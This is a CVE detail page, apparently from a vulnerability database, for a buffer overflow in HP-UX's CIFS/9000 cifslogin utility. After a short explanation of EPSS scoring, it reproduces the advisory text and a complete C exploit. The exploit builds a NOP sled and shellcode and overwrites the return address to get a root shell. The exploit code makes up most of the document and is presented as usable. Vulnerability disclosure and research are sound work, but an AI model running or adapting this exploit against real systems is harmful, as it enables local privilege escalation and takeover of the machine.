CVE-2002-0991 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/5088/info A vulnerability has been reported in the /opt/cifsclient/bin/cifslogin utility distributed with CIFS/9000. The utility is prone to several buffer overflow conditions and may lead to root compromise. The vulnerability occurs due to the lack of bounds checking when accepting user input for various commandline options. Specifically, the utility fails to check for excessively long arguments to the following commandline options: '-U', '-D', '-P', '-S', '-N', and '-u'. /* Name : ex_cifslogin.c Compile : cc ex_cifslogin -o cifslogin Purpose : exploit cifslogin command for HP-UX 11.11 11.0 10.20��to get root shell Author : watercloud < safesuite@263.net, watercloud@xfocus.net > Date : 2002-11-6 Announce: Use as your own risk�� Thanks : bear < bearundertree@163.com > Tested : HPUX B11.11 */ #include<stdio.h> #define T_LEN 2304 #define BUFF_LEN 2176 #define NOP 0x0b390280 char shellcode[]= "\xe8\x3f\x1f\xfd\xb4\x23\x03\xe8\x60\x60\x3c\x61\x0b\x39\x02" "\x99\x34\x1a\x3c\x53\x0b\x43\x06\x1a\x20\x20\x08\x01\x34\x16\x03" "\xe8\xe4\x20\xe0\x08\x96\xd6\x03\xfe/bin/shA"; long addr; char buffer[T_LEN]; main() { int addr_off =800 ; int n=BUFF_LEN/4,i=0; long * ap = (long *) &buffer[BUFF_LEN]; char * sp = &buffer[BUFF_LEN-strlen(shellcode)]; long * np = (long *) buffer; addr = ((long) &addr_off + T_LEN ) & 0xffffff40 +0x40 ; for(i=0;i<n;np[i++]=NOP); memcpy(sp,shellcode,strlen(shellcode)); for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr+addr_off); printf("SP=0x%x EXP_SP=0x%x OFF=0x%x (%i)\n",(long)&addr_off & 0xffffff40,addr,addr_off); printf("Addr =0x%x NOP_LEN=%i\n",addr+addr_off,BUFF_LEN-strlen(shellcode)); printf("BUFFER_LEN=%i\n",strlen(buffer)); execl("/opt/cifsclient/bin/cifslogin","cifslogin","123",buffer,NULL); }